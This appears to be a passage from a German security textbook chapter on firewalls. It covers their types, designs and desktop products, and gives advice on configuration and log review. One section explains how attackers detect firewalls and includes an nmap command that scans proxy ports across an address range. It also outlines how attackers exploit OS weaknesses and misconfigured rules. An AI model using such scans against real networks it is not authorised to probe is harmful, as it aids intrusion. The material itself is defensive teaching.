 Programmen und Dateien sollten minimale Rechte zugewiesen werden. Der HTTP-Server unter UNIX sollte nicht mit Root-Privilegien sondern als Nutzer www (oder etwas anderes) gestartet werden. Der entsprechende Nutzer sollte möglichst keinen Zugriff auf andere Dateien oder Programme haben.
 CGI-Scripte und Programme sollten nur verwendet werden, wenn es absulot unum-gänglich ist. Es sollten sich niemals Shells, Interpreter oder Ähnliches im cgi-bin-Verzeichnis befinden.
 Die Logdateien des Webservers sollten ständig überprüft werden, um Angriffe schon im Ansatz zu erkennen.
 Es sollten regelmäßig Backups der vorhandenen Daten erstellt werden.
 Wenn Ihnen diese Ratschläge banal erscheinen, weil sie eigentlich recht leicht befolgt werden können, schauen Sie sich in aller Ruhe noch einmal das Kapitel über den Bank-Hack an. Eigentlich sollte man davon ausgehen, dass gerade Banken, die ja über ausrei-chende Mittel verfügen, im Sicherheitsbereich keinerlei Nachlässigkeiten zeigen. Leider war das Gegenteil der Fall.
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 Dieses Kapitel soll Firewalls, Schutzsysteme für Ihren PC oder Server auf Software- oder Hardwarebasis, näher erklären. Sie erfahren, wie sie arbeiten und funktionieren, welche Arten es gibt und was man bei ihrem Einsatz beachten sollte.
 Eine Firewall (wörtlich: Brandschutzmauer) ist ein Filter, der Außenstehende, insbeson-dere aber Hacker und Cracker, davon abhalten soll, auf einen Server oder in ein Netz-werk einzudringen. Eine Firewall kann ein unabhängiger Rechner sein, aber auch eine Applikation, sie dient als Eingang zu z.B. einer Seite oder einem Netzwerk. Eine gute Fi-rewall ist kaum zu durchdringen, wenn sie richtig konfiguriert ist. Leider ist das in vielen Fällen nicht der Fall, und es gelingt Hackern immer wieder, durch schlecht konfigurierte Firewalls einzubrechen. Das Ziel sollte sein, eine Firewall so sicher wie möglich zu ma-chen und sie immer auf diesem Level zu halten.
 Für die verschiedenen Anforderungen haben sich unterschiedliche Konzepte durchge-setzt: Während Netzwerke im Allgemeinen über Hardware-Firewalls geschützt werden, sind im Privatbereich für Stand-Alone-Rechner Software- bzw. Desktop-Firewalls die Regel.
 Eine Sonderform ergibt sich bei der Anbindung von PCs (einzeln oder im Netz) über DSL-Leitungen. Da die DSL-Technologie im Prinzip nichts anderes als ein Netzwerkan-schluss ist, stehen hier Router als Zugangshardware und Firewall zu Verfügung. Eine DSL-Anbindung via Router ist bereits sehr gut gegen Zugriffe von außen geschützt. Al-lerdings handelt es sich bei einer solchen Lösung um eine zentrale Firewall mit entspre-chenden Nachteilen (Näheres dazu s. u.).
 13.1 Aufgaben der Firewall Firewalls können eingehende Datenpakete registrieren, analysieren und auswerten. Dar-aufhin kann eine Firewall verschiedene Aktionen starten, die verhindern, dass unautori-sierte Verbindungen aufgebaut werden. Die Konfigurationen solcher Aktionen werden Regeln genannt. Die meisten Firewalls kennen die grundlegenden Gefahren des Inter-nets und sind mit vielen Standardregeln konfiguriert, z.B. der Zugriffsverweigerung für
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 verschiedenste Trojaner. Manche Regeln müssen aber individuell eingestellt werden, um z.B. verschiedene Dienste auf Servern zu garantieren. Ein Beispiel könnte ein FTP-Server sein, der auf einem Rechner laufen soll, aufgrund dessen muss die Firewall so konfigu-riert werden, dass sich Anfragen auf dem Port 21 vom FTP-Server auch beantworten las-sen und nicht schon vor dem Server von der Firewall blockiert werden. Weiterhin kön-nen Firewalls im LAN dazu verwendet werden, Zugriffe auf den Server durch bestimmte Teilnehmer einzuschränken. Damit kann sichergestellt werden, dass ein Nutzer aus dem LAN nur an die Informationen gelangt, die seinem Zuständigkeitsbereich zugeordnet sind.
 13.1.1 Sicherheitsrelevante Komponenten einer Firewall
 Eine Firewall besteht im Prinzip aus drei Komponenten:
 ■
 ■
 ■
 Hardware Software Administrator.
 Hardware
 Die Hardware, also der Rechner, auf dem die Firewall eingerichtet werden soll, ist recht unproblematisch. Man sollte nur darauf achten, dass diese leistungsfähig genug ist und mit der Software gut zusammenarbeitet.
 Software
 Die zu verwendende Software sollte abhängig von den Kenntnissen des Administrators gewählt werden. Es wäre sicherlich nicht empfehlenswert, bei mangelnden Unix-Kenntnissen des Administrators eine unixbasierende Firewall aufzubauen – außerdem ist die Sicherheit mehr von der richtigen Konfiguration als vom verwendeten Betriebs-system abhängig. Unix-Systeme sind nicht zwangsläufig sicherer.
 Administrator bzw. Anwender
 Der Administrator bzw. Anwender hat die Aufgabe, die Firewall ständig up-to-date zu halten. Das bedeutet, dass er dafür verantwortlich ist, dass auf neue Sicherheitsrisiken sofort reagiert wird. Weiterhin ist es seine Aufgabe, ständig neue Regeln basierend auf den Anforderungen seiner Umgebung zu erstellen.
 Ein weiterer Punkt ist das Auswerten der generierten Logfiles. Diese zeigen Angriffe auf und lassen auf Schwachstellen schließen bzw. können helfen, Gegenmaßnahmen zu tref-fen. So kann z.B. angreifenden Rechnern der Zugriff komplett verwehrt werden. Dieser
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 letzte Punkt ist sehr wichtig und wird von vielen Administratoren auf Grund mangeln-der Zeit oder begrenzter Kenntnisse nur schlecht oder gar nicht beachtet. Doch nur so lassen sich erfolgreich Angriffe abwehren.
 13.1.2 Kategorien der Firewalls
 Unterschiedliche Technologien kommen bei modernen Firewalls – oft zusammen – zum Einsatz: Paket-Filter und Applikations-Gateways.
 IP – Filter- Firewall
 Die IP-Filter-Firewall wird auch als Paket-Filter bezeichnet. Dazu verbindet man einen extra dafür auserkorenen Rechner (als Firewall) sowohl mit dem Internet als auch mit dem LAN. Die Firewall (der Firewall-Rechner) leitet dann alle IP-Pakete vom Internet zum LAN. Somit existiert keine direkte Verbindung ins Internet. Bei der Übertragung der Pakete kann die Firewall, ihren Regeln entsprechend, diese weiterleiten.
 Dabei wird nach Zieladresse, Ursprungsadresse und Netzwerkdienst (z.B. Telnet oder FTP) unterschieden und entsprechend weitergeleitet oder verworfen.
 NAT
 Die 2. Variante ist die Network-Address-Translation-Firewall (NAT), im Grunde eine Form der IP-Filter-Firewall, die zusätzlich noch die Funktion eines Proxy-Servers aus-führt. Damit kann die Adresse des jeweiligen Ziel- oder Ursprungsrechners verändert werden. Dazu führt die Firewall eine Tabelle, in der festgehalten wird, welcher Ein-gangsport an welchen Rechner im internen Netz weitergeleitet wird. Alle ins Internet ge-sendeten Pakete werden im Header so verändert, dass der im Netz angesprochene Rech-ner die Firewall als einzigen Ansprechpartner sieht. Aus dem Internet eingehende Da-tenpakete werden dann an den im Paket-Header angegebenen Port weitergeleitet. Die Pakete aus dem Netz sind also immer nur an die Firewall gerichtet. Mit einem Paket-Filter kann zwar ein hoher Datendurchsatz erreicht werden, das erreichbare Maß an Si-cherheit ist aber beschränkt.
 Application-Gateway
 Für jeden verwendeten Internet-Dienst – zum Beispiel WWW oder FTP – wird ein Applikations-Gateway (Proxy) zur Verfügung gestellt. Der gesamte Datenfluss für einen Dienst zwischen dem internen Netzwerk und dem Internet kann so auf Applikations- und Benutzerbasis kontrolliert werden. Auf diese Art und Weise kann ein hohes Maß an

Page 297
						

13.1 Aufgaben der Firewall 330033
 Kontrolle und damit an Sicherheit erreicht werden. Die Nachteile dieses Ansatzes liegen unter anderem im Verlust der Transparenz für Benutzer und Applikationen und im verminderten Datendurchsatz.
 Stateful Inspection
 Bei Stateful Inspection (auch Stateful Packet Filter oder Dynamic Packet Filter genannt) handelt es sich um eine relativ neue Firewall-Technologie. Sie arbeitet sowohl auf der Netz- als auch auf der Anwendungsschicht. Auf der Netzschicht werden die Pakete an-genommen, dann analysiert und abgeglichen. Für den Anwender stellt sich eine solche Lösung als einsträngige Kommunikationsleitung dar, weil sie nur für eine den Regeln entsprechende Kommunikation durchlässig ist. Besonders interessant ist bei dieser Technologie, dass sie im Out-of-Band-Betrieb nicht über TCP angreifbar ist. Sie verfügt dann über keine eigene IP-Adresse, ist also nicht direkt ansprechbar.
 Der Vorteil einer solchen Lösung besteht in der hervorragenden Skalierbarkeit, der Si-cherheit im Out-of-Band-Betrieb und dem vollständigen Verbergen der internen Archi-tektur des Netzes; dafür werden aber auch entsprechende Hardware-Ressourcen gefor-dert. Die vielfältigen Analyse- und Aktionsmöglichkeiten benötigen vor allem Rechen-leistung, sonst sinkt die Performance drastisch.
 13.1.3 Firewall-Konzeptionen
 Für die Realisierung von Firewalls stehen verschiedene Konzeptionen zur Verfügung, die sich nicht nur hinsichtlich der Kosten, sondern vor allem auch im Bereich der realisier-baren Sicherheitsabstufungen und Administrierungsmöglichkeiten unterscheiden.
 Zentrale Firewalls
 Eine zentrale Firewall bildet die zentrale Schnittstelle zwischen dem internen Netzwerk und dem Internet. Das einheitliche, netzwerkweite Sicherheitsniveau kann sich daher nur an der höchsten Sicherheitsstufe orientieren, eine geringere ist im Interesse der Netzwerksicherheit nicht diskutabel. Das bedeutet, dass zugelassene Aktivitäten grund-sätzlich für alle Anwender einer Anwendergruppe zugelassen sind, eine Abstufung ist nicht möglich. Die Benutzer werden zentral verwaltet.
 Gestaffelte Firewall-Lösungen
 Bei gestaffelten Lösungen werden zentrale und dezentrale Komponenten kombiniert. Auf diese Weise ist es möglich, innerhalb des internen Netzes verschiedene Si-cherheitstufen zu realisieren, Aktivitäten für nur bestimmte Gruppen freizugeben oder zu unterbinden. Besonders schützenswerte Bereiche können mit höchstmöglichem Ni-
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 veau geschützt werden, und innerhalb eines Subnetzes besteht ein einheitliches Sicher-heitsniveau. Für den Gesamtschutz müssen natürlich klar abgegrenzte Ebenen festgelegt werden, um einen garantierten Grundschutz zu ermöglichen. Für alle Ebenen müssen die darüber hinausgehenden Sicherheitsstufen präzise anhand der Anforderungen defi-niert werden.
 Der Administrationsaufwand einer solchen Lösung ist natürlich größer als bei zentralen Systemen. Die Sicherheit besonders geschützter Bereiche kann allerdings in einem ge-staffelt aufgebauten Sicherheitssystem selbst dann noch gewährleistet werden, wenn die zentrale Firewall von einem Hacker durchbrochen wurde.
 13.1.4 Wie erkennt ein Angreifer eine Firewall?
 Für einen Angreifer ist es oft wichtig, eine Firewall des Systems, in das er versucht einzu-dringen, zu erkennen, damit er deren Schwächen analysieren kann.
 Dies kann durch etliche Methoden bewerkstelligt werden, z.B. dem Senden von Pings oder einfachen Portscans (siehe Kapitel Scanning). Viele Firewalls geben sich bei meist einfachen Scans zu erkennen, denn jede Firewall hat eine einzigartige elektronische I-dentifikation.
 Der normale Scan auf Standardports ist dabei die wohl am häufigsten verwendete und auffälligste Methode, um festzustellen, ob und wie ein System von einer Firewall ge-schützt wird. Dabei ist es sehr wichtig, die TCP-Ports der verschiedenen Firewalls zu kennen. Ein Microsoft Proxy-Server belegt beispielsweise die Ports 1080 und 1745, da-her könnte ein Befehl für einen Standardscanner wie nmap z.B. wie folgt aussehen:
 nmap –n –vv –P0 –p1080,1745 192.168.54.2-65.255
 Hat der Angreifer nun eine Firewall gefunden, wird er beginnen, deren Schwächen zu analysieren. Meist kann er dabei auf recht ausführliche und umfangreiche Quellen im Internet zurückgreifen.
 13.2 Desktop-Firewalls Um sich vor den alltäglichen Gefahren aus dem Internet zu schützen, greifen immer mehr Nutzer zu so genannten Desktop-Firewalls. Diese Firewalls sind recht günstige Al-ternativen zu professionellen Lösungen. Sie bieten je nach Features einen umfangreichen Schutz vor Trojanern, korrupten Programmcodes (ActiveX, Java-Applets), Portscans und jeglicher Art unberechtigten Zugriffes. Desktop-Firewalls werden auf Softwareebene angewendet und dies vorzugsweise auf Windows-Plattformen. Dies hat den Vorteil, dass der Nutzer eine meist recht bedienungsfreundliche Oberfläche vorfindet.
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 Leider ist auch bei dem Einsatz einer Desktop-Firewall ein gewisses Know-how gefor-dert, weil auch hier Filterregeln erstellt werden müssen, die ein reibungsloses Arbeiten z.B. eines angeschlossenen Netzwerkes ermöglichen. Auch muss vorausgesetzt werden, dass der Anwender in der Lage ist, die von der Firewall geführten Protokolle richtig aus-zuwerten, da nur diese Aufschluss über evtl. aufgetretene Angriffe geben.
 Bild 13.1: Protokoll und Sicherheitsmeldung eines Portscans der ConSeal PC Firewall
 Weiterhin schränkt der Einsatz einer solchen Firewall die Performance eines Systems ein. Es ist mit leichten Leistungsverlusten zu rechnen. Diese fallen je nach Art der Fire-wall und der installierten Features mehr oder weniger ins Gewicht.
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 Hier eine Tabelle der wichtigsten Desktop-Firewalls und Hersteller:
 Name Hersteller Homepage
 Anti-Hack CarbonSoft http://www.carbosoft.com/
 AtGuard WRQ http://www.wrq.com/
 BlackICE Defender Network ICE Corporation http://www.netice.com/
 ConSeal PC Firewall Signal 9 http://www.consealfirewall.com/
 LockDown 2000 LockDown2000 http://lockdown2000.com/
 Look 'n' Stop Soft4Ever http://www.soft4ever.com/
 McAfee Internet Guard Dog McAfee http://www.mcafee.com/
 McAfee Personal Firewall McAfee http://www.mcafee.com/
 Norton Internet Security Symantec http://www.symantec.com/
 Tiny Personal Firewall Tiny Software http://www.tinysoftware.com/
 ZoneAlarm ZoneLabs http://www.zonelabs.com/
 13.2.1 Angriff auf eine Desktop-Firewall
 Angreifer stehen durch die vermehrte Verbreitung immer häufiger vor der Barriere Desktop-Firewall. Um diese zu umgehen bieten sich dem Angreifer jedoch mehrere Möglichkeiten:
 Das Betriebssystem als Schwachpunkt
 Die meisten Desktop-Firewalls werden auf Windows-Systemen eingesetzt, deren Sicher-heitsarchitektur dabei sehr zu wünschen übrig lässt (siehe Schwachstellen von Win-dows).
 Auch eine installierte Firewall kann diese Schwächen von Windows, z.B. den sehr insta-bilen TCP/IP Stack, nicht kompensieren. Daher werden Angreifer trotz der Firewall nach bekannten Schwächen des Betriebssystems Ausschau halten.
 Konfigurationsfehler und Protokoll-Unkenntnis
 Einen weiteren Ansatz bietet die mangelhafte Konfiguration der Firewalls, insbesondere der Filterregelung. Da sich der größte Teil der Firewallnutzer weder mit TCP/IP noch mit Netzwerken genauer auskennt, werden hier oft Fehler begangen. Gibt ein User bei-spielsweise in einem Windows-Netzwerk der Firewall die Anweisung, Port 139 frei-zugeben, achten viele Anwender nicht darauf, dass dies nur für die im Netzwerk ange-schlossenen Rechner gelten darf, weil ansonsten auch ein externer Zugriff aus dem In-ternet möglich ist.
 http://homepage.swissonline.net/mruef/security-guide/windows-sicherheit/7-firewall-systeme/firewall-systeme/windows/anti_hack/setup.exe
 http://homepage.swissonline.net/mruef/security-guide/windows-sicherheit/7-firewall-systeme/firewall-systeme/windows/atguard/atguard_3_1.exe
 http://www.wrq.com/
 http://homepage.swissonline.net/mruef/security-guide/windows-sicherheit/7-firewall-systeme/firewall-systeme/windows/conseal_pc_firewall/
 http://www.signal9.com/
 http://homepage.swissonline.net/mruef/security-guide/windows-sicherheit/7-firewall-systeme/firewall-systeme/windows/lockdown_2000/Lockdown2000.exe
 http://lockdown2000.com/
 http://lockdown2000.com/
 http://homepage.swissonline.net/mruef/security-guide/windows-sicherheit/7-firewall-systeme/firewall-systeme/windows/look-n-stop/LnS101EnSetup.exe
 http://www.soft4ever.com/
 http://www.mcafee.com/
 http://homepage.swissonline.net/mruef/security-guide/windows-sicherheit/7-firewall-systeme/firewall-systeme/windows/mcafee_firewall/McAfeeFirewall.exe
 http://www.mcafee.com/
 http://www.symantec.com/
 http://homepage.swissonline.net/mruef/security-guide/windows-sicherheit/7-firewall-systeme/firewall-systeme/windows/tiny_personal_firewall/pf2.exe
 http://www.tinysoftware.com/
 http://homepage.swissonline.net/mruef/security-guide/windows-sicherheit/7-firewall-systeme/firewall-systeme/windows/zonelabs_zonealarm/zonalarm.exe
 http://www.zonelabs.com/
 http://www.zonelabs.com/
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 Ein Angreifer ist sich daher ständig darüber im Klaren, dass sich zumindest ein Abklop-fen des Systems trotz installierter Firewall lohnen kann, um mögliche Schwachstellen aufzudecken. Danach hat er dann Zugriffsmöglichkeiten bei einem Nutzer, der sich dank Firewall bestens geschützt wähnt und wahrscheinlich, aufgrund der vermeintlichen Sicherheit, nie mehr Protokolle auswertet.
 Weiterhin sind die wenigsten Nutzer dazu in der Lage, die angefertigten Protokolle rich-tig auszuwerten. Eine Firewall protokolliert ständig, welche Pakete den Rechner errei-chen und welche vom Rechner abgehen. So wird z.B. auch verhindert, dass evtl. instal-lierte Programme wie Trojaner Daten selbstständig nach außen senden. Nur durch das richtige Auswerten der Protokolle können Angriffe früh erkannt und Maßnahmen gegen diese ergriffen werden.
 Außerdem ist es meist die einzige Möglichkeit, Angreifer anhand der IP-Adresse zu-rückverfolgen zu können, sofern diese sich nicht anonymisiert haben.
 Bild 13.2: Protokolldatei einer Norton-Firewall
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 Anhand solcher Einträge in den Protokolldateien lassen sich Angriffe recht leicht erken-nen. Um sich nicht in trügerischer Sicherheit zu wiegen, sollten Sie die Dateien regelmä-ßig auswerten, ohne die Zeiträume zu lang werden zu lassen. Sonst gewähren Sie Angrei-fern einen zeitlichen Vorsprung, den Sie nicht wieder aufholen können.
 13.2.2 Schutz durch Desktop-Firewalls
 Beim Kauf einer Desktop-Firewall sollte darauf geachtet werden, dass unerfahrene Nut-zer sich vorab informieren, welche Firewall eine automatische Filter-Regel-Erstellung bietet. Dadurch wird ein großer Teil der meist recht umständlichen Konfiguration vom Programm vorgenommen. Selbst wenn diese Einstellungen zunächst vielleicht zu rigide sind – lieber besser geschützt als schlechter.
 Um einen optimalen Schutz zu erhalten, sollte auch darauf geachtet werden, dass die Fire-wall ständig auf dem neuesten Stand gehalten wird, sprich das regelmäßig nach Updates geschaut wird. Der Download sollte selbstverständlich nur beim Hersteller/Anbieter vorgenommen werden.
 Es empfiehlt sich darüber hinaus, die mitgelieferten oder auch oft im Internet hinterleg-ten Handbücher der Hersteller wirklich zu lesen. Diese ersetzen zwar nicht fehlende Kenntnisse über TCP/IP oder Netzwerksicherheit, aber geben einen verständlichen Ein-blick in diese Gebiete. Weiterhin wird der Nutzer eingehend in die richtige Konfigurati-on der Software eingewiesen – und dies ist letztendlich entscheidend für die Sicherheit seines Systems.
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